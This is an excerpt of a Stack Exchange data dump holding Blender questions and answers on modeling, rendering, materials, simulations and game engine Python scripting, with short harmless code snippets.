  <row Id="21411" PostTypeId="2" ParentId="21407" CreationDate="2014-12-26T06:01:47.440" Score="5" Body="&lt;p&gt;This is because you have a non-planar &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;ngon&lt;/a&gt;, i.e. a non-flat face with more than four sides. This is particularly problematic with an ngon as blender has no indication of what the topology should be inside the face, resulting in ambiguous geometry. For display purposes there must be something there, so it takes a guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try to avoid such faces, as they will not behave well with subsurf or deformations (to name a few issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can either &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the face and fill in the hole with planar quads. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces#Grid_Fill&quot; rel=&quot;nofollow noreferrer&quot;&gt;Grid fill&lt;/a&gt; might be of help here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Triangulate the face (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;), splitting the large ngon into multiple planar triangles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6S0ye.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try &lt;em&gt;Mesh &gt; Cleanup &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces#Grid_Fill&quot; rel=&quot;nofollow noreferrer&quot;&gt;Split non-planar faces&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this still won't subdivide or deform nicely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-26T06:15:55.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21412" PostTypeId="2" ParentId="21409" CreationDate="2014-12-26T07:03:36.357" Score="4" Body="&lt;p&gt;.png and .jpg (or .jpeg) are formats for 2D images, not for blender projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the 3D project use &lt;Kbd&gt;Ctl&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; or File Save or Save As&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mejd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this you are saving the whole project: 3d models, all of the 3D environment and the work session (cameras, modifiers, meshes, animation, screens, etc). All of that information gets stored using blender's unique format that uses a &lt;strong&gt;&lt;em&gt;.blend&lt;/em&gt;&lt;/strong&gt; extension, that can only be opened in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;Rendered images will not be saved within the blender file, unless they are saved as external files and &lt;a href=&quot;https://www.blender.org/manual/data_system/introduction.html?highlight=unpack#pack-and-unpack-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;packed&lt;/a&gt; into the .blendd&lt;/strong&gt; Unsaved/unpacked images will otherwise be lost for ever once the file is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you want to export an image&lt;/strong&gt; using .png or .jpg (or any of the supported image formats) &lt;strong&gt;you have to render your scene into an image first.&lt;/strong&gt;  Use &lt;kbd&gt;F12&lt;/kbd&gt;, and then save it using &lt;kbd&gt;F3&lt;/kbd&gt; (or save as image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nUObf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll be presented with an option for the format you want to save your image in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0gXTR.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pcBHw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A png or jpg file will be just a rendered image, &lt;strong&gt;IT WILL NOT CONTAIN THE 3D MODEL, NOR YOUR BLENDER SESSION&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info please read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/data_system/files/save.html?highlight=save&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/data_system/files/save.html?highlight=save&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/render/output/display.html?highlight=save%20image&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/render/output/display.html?highlight=save%20image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-04-03T03:59:33.530" LastActivityDate="2016-04-03T03:59:33.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21413" PostTypeId="1" AcceptedAnswerId="21414" CreationDate="2014-12-26T08:58:40.040" Score="1" ViewCount="1881" Body="&lt;p&gt;Big hill behind tree won't show in camera/render view.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KadpV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2014-12-26T10:35:33.493" Title="Plane won't show in camera/render" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-26T13:21:32.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="21414" PostTypeId="2" ParentId="21413" CreationDate="2014-12-26T09:08:09.933" Score="2" Body="&lt;p&gt;The problem might be in the camera end clipping distance value. Try to increase it if low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Amxfy.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9630" LastEditorUserId="9630" LastEditDate="2014-12-26T10:35:33.493" LastActivityDate="2014-12-26T10:35:33.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21416" PostTypeId="2" ParentId="21408" CreationDate="2014-12-26T09:30:16.237" Score="4" Body="&lt;p&gt;There is no way to &quot;trigger&quot; your script when the user enters edit mode. The only way for you to run your own code on entering edit mode is to set the keyboard shortcuts to run your script instead of changing to edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it sounds like you are referring to switching to edit mode while your modal operator is running, you will need to check the event and enter edit mode when the tab key is pressed, other operators will not be run while your modal operator is running.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def modal(self, context, event):&#xA;    if event.type == 'TAB':&#xA;        if context.active_object.mode == 'EDIT':&#xA;            bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;        else:&#xA;            bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-26T09:30:16.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21417" PostTypeId="2" ParentId="21389" CreationDate="2014-12-26T10:08:29.273" Score="6" Body="&lt;p&gt;There are two settings that effect what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The detail type method in dyntopo effects the way the detail size is calculated. Relative detail uses the onscreen pixel size as set in detail size when creating new edges and will give more detail the closer you zoom into your model. Changing to constant detail will use the same edge size as you zoom in and out. With constant detail the detail size is defined as &quot;a percentage of blender units in object space&quot;, which means the objects scale property also plays a part in the size of the new edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wejQ7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option that will effect this is the brush radius. At the end of the radius slider there is a little padlock, enabling this will provide the same brush size relative to the model as you zoom in and out. The size is determined when you enable the padlock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VtYTn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-12-27T02:28:51.047" LastActivityDate="2014-12-27T02:28:51.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21418" PostTypeId="2" ParentId="21409" CreationDate="2014-12-26T10:22:07.303" Score="3" Body="&lt;p&gt;Since you say that Blender has added the .blend extension. You probably rendered the image and saved the .blend (not the rendered image). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you reopen the .blend file the rendered image wasn't saved but the screen layout which has switched to the image editor displaying &quot;Render Result&quot; which is no longer available.&#xA;Press &lt;kbd&gt;ESC &lt;/kbd&gt;to close the Image Editor or switch to 3D View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save rendered images use &lt;kbd&gt;F3&lt;/kbd&gt; or the &lt;em&gt;Image Menu&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9JTyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-26T10:22:07.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21419" PostTypeId="1" AcceptedAnswerId="21420" CreationDate="2014-12-26T10:26:22.363" Score="1" ViewCount="138" Body="&lt;p&gt;I made a stone cabin in blender but I forgot to set materials to different parts of it and I joined it all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set materials to loose parts or do I have to separate it (which would give me about 300 loose parts)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't, can I somehow separate loose parts one by one (so that I can separate for example all parts of roof and rejoin them separately)?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="7777" LastEditDate="2014-12-26T11:06:18.507" LastActivityDate="2014-12-26T20:10:33.193" Title="One object, lots of materials" Tags="&lt;modeling&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-26T19:15:24.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="21420" PostTypeId="2" ParentId="21419" CreationDate="2014-12-26T11:00:23.497" Score="4" Body="&lt;p&gt;You can separate mesh in editmode with &lt;kbd&gt;P&lt;/kbd&gt;. You get some options to choose, I think they are self-explanatory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXg4n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select specific loose part select any of its vertices and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also add multiple materials to object and each apply to specific faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fo83r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make selection and in edit-mode hit &lt;em&gt;Assign&lt;/em&gt;. The first material slot will be the default one.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-26T20:10:33.193" LastActivityDate="2014-12-26T20:10:33.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21421" PostTypeId="1" AcceptedAnswerId="21583" CreationDate="2014-12-26T12:44:37.800" Score="1" ViewCount="1944" Body="&lt;p&gt;I have an object (a feather) with a particle system on it (little objects that turn into spaces later - boolean/difference - to make it look a little ruffled). I have duplicated the object a number of times (to create a wing). Each instance gives me the same particle system output. To randomize the particles on each duplicated object, I give it a new particle setting and change the seed value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to do this a large number of times (and many other things as well), I am creating  code to automate the tasks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: the particle settings line bpy.ops.particle.new() gives me &quot;#RuntimeError: Operator bpy.ops.particle.new.poll() failed, context is incorrect&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to coding and learning fast. Dove in the documentation and read the Q&amp;amp;A's on this site, but hit a dead end. I am out of my depth here. Help is appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a &quot;Button context&quot; called &quot;bpy.context.particle_settings&quot;, but I don't know what to do with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What context do I need to apply new particle settings to work (and how)? or how can I override the context? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the snipped below one edge of the feather, containing the particle system, is selected and made active, before attempting to add new settings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='DESELECT')&#xA;object = bpy.data.objects[edge_name]&#xA;object.select = True&#xA;bpy.context.scene.objects.active = bpy.data.objects[edge_name]&#xA;bpy.ops.particle.new() #RuntimeError: Operator bpy.ops.particle.new.poll() failed, context is incorrect &#xA;bpy.context.object.particle_systems[&quot;ParticleSystem&quot;].seed = seed_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9673" LastActivityDate="2014-12-31T16:36:26.433" Title="What is the correct context for applying a new particle setting or override it?" Tags="&lt;python&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21422" PostTypeId="2" ParentId="19067" CreationDate="2014-12-26T12:53:57.883" Score="2" Body="&lt;p&gt;For the melting you have lots of options, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A high quality fluid simulation with a high viscosity. &lt;/li&gt;&#xA;&lt;li&gt;Shape keys + sculpting&lt;/li&gt;&#xA;&lt;li&gt;Cast modifier (Apply as shape key)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The fluid simulation is probably the best for a good melting animation and being able to control it with force fields, but fluid simulations require tons of processing power to look good in my experience. I would probably go with casting it to a sphere with a &amp;lt; 1 factor and a control object located slightly below the object. I'd apply that as a shape key and sculpt it a bit, and then only do the fluid sim when the object is already melted (there's less detail to lose when it's already smooth, and you might get away with lower settings.) &lt;/p&gt;&#xA;" OwnerUserId="9674" LastActivityDate="2014-12-26T12:53:57.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21423" PostTypeId="1" AcceptedAnswerId="21426" CreationDate="2014-12-26T13:16:16.320" Score="7" ViewCount="7794" Body="&lt;p&gt;I am making a new racing game in BGE. I want my game to have a feature to change car color in-game (car consists of multiple materials, but currently I want to change body material). How do I make something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gd5fa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;Without text (only color select) in blender, so it can apply on material in other scene?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-05-14T22:16:27.280" Title="How to change material's color in blender game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;logic-bricks&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21424" PostTypeId="1" AcceptedAnswerId="21434" CreationDate="2014-12-26T13:32:37.080" Score="3" ViewCount="1071" Body="&lt;p&gt;It is extremely simple to export a single player game, but I have not been able to find a way to create/export a multiplayer game from the  BGE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this theoretically possible &lt;em&gt;without&lt;/em&gt; using a third party application? &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-27T02:49:38.547" Title="Is it possible to export a multiplayer game from BGE?" Tags="&lt;game-engine&gt;&lt;export&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21425" PostTypeId="2" ParentId="21375" CreationDate="2014-12-26T14:18:33.060" Score="2" Body="&lt;p&gt;You can control the shape of the flames quite well by shaping the flow object. Here I've used a transparent cone as the flow object. I added some loop cuts to its sides to be able to make it slightly rounded, but I don't think this shape is exactly what you want. You will have to model the shape to fit your needs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flow object's material:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SbioB.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain material:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a55Mt.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flame texture:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ih2Q7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The colour ramp is simply the default one from Quick Smoke, with just changed alpha levels.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vlyex.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flow object settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u7ybD.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yg3Ia.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use high transparency on the flames, the flow object may become visible although it's fully transparent. This is because you see where the flames are emitted from. To get around this, simply hide the flow object inside the lighter and make the lighter a collision object, to prevent the flames from seeping through its faces. Depending on whether you want to move the lighter around or not, you will need to change the Collision type. Animated = manual animation, Rigid = automatic animation by rigid body physics, Static = not moving.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H57aK.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33545&quot; rel=&quot;nofollow noreferrer&quot;&gt;And an example .blend file&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, you will probably need to model the shape further, and also tweak the settings to your liking. This is simply meant to be a pointer in the right direction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you have your flames rising far to fast, and they reach the upper boundary of the domain object before they come together into a singular point. If I were you, I'd delete the entire sim, keeping only the lighter object and start over with the flow and domain objects.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-12-26T14:59:12.270" LastActivityDate="2014-12-26T14:59:12.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21426" PostTypeId="2" ParentId="21423" CreationDate="2014-12-26T15:20:48.247" Score="9" Body="&lt;p&gt;First you have to enable &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/blender_render/materials/properties/options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object Color&lt;/a&gt;&lt;/em&gt;, that is found in the &lt;em&gt;Properties&lt;/em&gt; window, &lt;em&gt;Material&lt;/em&gt; tab, then under the &lt;em&gt;Options&lt;/em&gt; region &lt;em&gt;Object Color&lt;/em&gt;.&lt;br /&gt;&#xA;One quirk I found, be sure that the diffuse color of the material is pure white &lt;code&gt;[1, 1, 1]&lt;/code&gt;. If it is not you will only be able to control the color up to that level. Example: say the material's color is red &lt;code&gt;[1, 0, 0]&lt;/code&gt;, now because the green and blue channels are 0 you will never be able to get any value in those channels.&lt;br /&gt;&#xA;Now the material will use the object's color, that color is found  under &lt;em&gt;Properties&lt;/em&gt; &amp;gt; &lt;em&gt;Object&lt;/em&gt; &amp;gt; &lt;em&gt;Display&lt;/em&gt; &amp;gt; Object Color*.&lt;/p&gt;&#xA;&lt;p&gt;To change the object color while the game is running use this bit of python.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;obj = cont.owner&#xA;# set the game object's color&#xA;obj.color = [ 0.0, 0.0, 0.0, 1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bge.types.KX_GameObject.html?highlight=color#bge.types.KX_GameObject.color&quot; rel=&quot;nofollow noreferrer&quot;&gt;color&lt;/a&gt; method is looking for a vector in the form of &lt;code&gt;[Red, Green, Blue, Alpha]&lt;/code&gt;, (You can just leave the alpha set to 1, I have yet to find a place where it is used.)&lt;/p&gt;&#xA;&lt;h2&gt;The game UI for changing the color&lt;/h2&gt;&#xA;&lt;p&gt;Creating the interface is the most complicated part.&lt;br /&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/3299/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is a working  demo file with three sliders, one each for red green and blue.&#xA;The three sliders all have a game property one for each color channel. They also have these logic bricks. The only difference among the three is the property name.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TZT2K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZT2K.png&quot; alt=&quot;logic bricks&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This script is what takes the input from the logic bricks above, and changes the three values.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;scene = bge.logic.getCurrentScene()&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;if cont.sensors['Mouse'].getButtonStatus(bge.events.LEFTMOUSE) == bge.logic.KX_INPUT_ACTIVE:&#xA;    posZ = cont.sensors['Mouse1'].hitPosition[2]&#xA;    if posZ &amp;gt; 1.0:&#xA;        posZ = 1&#xA;    elif posZ &amp;lt; 0:&#xA;        posZ = 0&#xA;    own.worldPosition.z = posZ&#xA;    &#xA;prop = cont.actuators[&amp;quot;prop&amp;quot;]  &#xA;prop.value = str(own.worldPosition.z)&#xA;cont.activate(prop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then another script on the object you want to change the color is this script. A always sensor set to &lt;code&gt;True&lt;/code&gt; pulse mode makes the script run constantly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;scene = bge.logic.getCurrentScene()&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;r = scene.objects['handle']['r']&#xA;g = scene.objects['handle.g']['g']&#xA;b = scene.objects['handle.b']['b']&#xA;&#xA;own.color = [ r, g, b, 1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-05-14T20:57:22.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21427" PostTypeId="1" CreationDate="2014-12-26T18:14:07.910" Score="1" ViewCount="115" Body="&lt;p&gt;I'm using Blender 2.70. How do I apply the same modifier to multiple objects? None of the answers I searched for work, listed below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apply modifier to one object, then select all, make applied object active, ctrl+c -&gt; modifiers. The only choice I get from ctrl+c is &quot;copy selection to buffer&quot;&lt;/li&gt;&#xA;&lt;li&gt;Same as above, except alt+c -&gt; mesh from curves/meta/surface/text. Nothing happens&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, is there a better way to reduce polygon count on simple objects (rings, cylinders, etc) than decimate? That's what I'm using right now, but can't figure out how to apply it to all the objects in the scene.&lt;/p&gt;&#xA;" OwnerUserId="9676" LastEditorUserId="2217" LastEditDate="2014-12-27T12:00:17.813" LastActivityDate="2014-12-27T12:00:17.813" Title="Apply modifier to multiple objects?" Tags="&lt;modifiers&gt;&lt;vertices&gt;&lt;nurbs-surface&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-12-26T20:37:57.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="21430" PostTypeId="2" ParentId="21394" CreationDate="2014-12-26T20:36:04.727" Score="1" Body="&lt;p&gt;The script is checking if prop is an integer equal to 50, but the property is actually a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change String to Integer in the Properties panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if myprop == 50:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if myprop == '50':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going forward if you enable the console (Window -&gt; Toggle System Console) it will let you know when these sort of errors happen.&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-12-26T20:36:04.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21432" PostTypeId="2" ParentId="18539" CreationDate="2014-12-26T21:00:22.223" Score="1" Body="&lt;p&gt;You can run actions simultaneously by setting them on different layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, playing the &lt;em&gt;same&lt;/em&gt; action will result in weird overlapping issues.  For example, when the loop starts at frame 30, it will inherit the positions etc set in the previous frames.  The first action will appear to do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to use &lt;strong&gt;separate actions&lt;/strong&gt; and &lt;strong&gt;different layers&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.playAction('name_of_first_action', 0, 20, layer=0, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;obj.playAction('name_of_other_action', 30, 42, layer=1, play_mode=bge.logic.KX_ACTION_MODE_LOOP)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you need to stop it later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.stopAction(layer=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-12-26T21:00:22.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21433" PostTypeId="2" ParentId="21167" CreationDate="2014-12-26T22:17:03.847" Score="9" Body="&lt;p&gt;Using a bezier curve is a simple way to create the wraps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snapping_Modes&quot; rel=&quot;noreferrer&quot;&gt;vertex snapping&lt;/a&gt; to place the handles around the hilt of the sword. I then rotated the control points until the curve was close to the shape of the sword. The start and end of the curve should be in the same place.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NRehp.png&quot; alt=&quot;bezier curve&quot;&gt;&lt;br&gt;&#xA;Add a array modifier to the curve and give it a &lt;em&gt;Consent Offset&lt;/em&gt; (I used &lt;code&gt;0.2&lt;/code&gt;) to make the wraps down the handle.&lt;br&gt;&#xA;Now move the overlapping handle the same amount as set in the array modifier, this will create a continual wrap.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YVuBN.png&quot; alt=&quot;curve with array&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last step is to give the curve some thickness. Do so by setting the &lt;em&gt;Fill&lt;/em&gt; to &lt;em&gt;Full&lt;/em&gt; and increasing the &lt;em&gt;Bevel&lt;/em&gt; until the thickness looks good. Also increase the resolution to about &lt;code&gt;6&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/epVp6.png&quot; alt=&quot;curve settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the final result.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/blvTr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-26T22:17:03.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
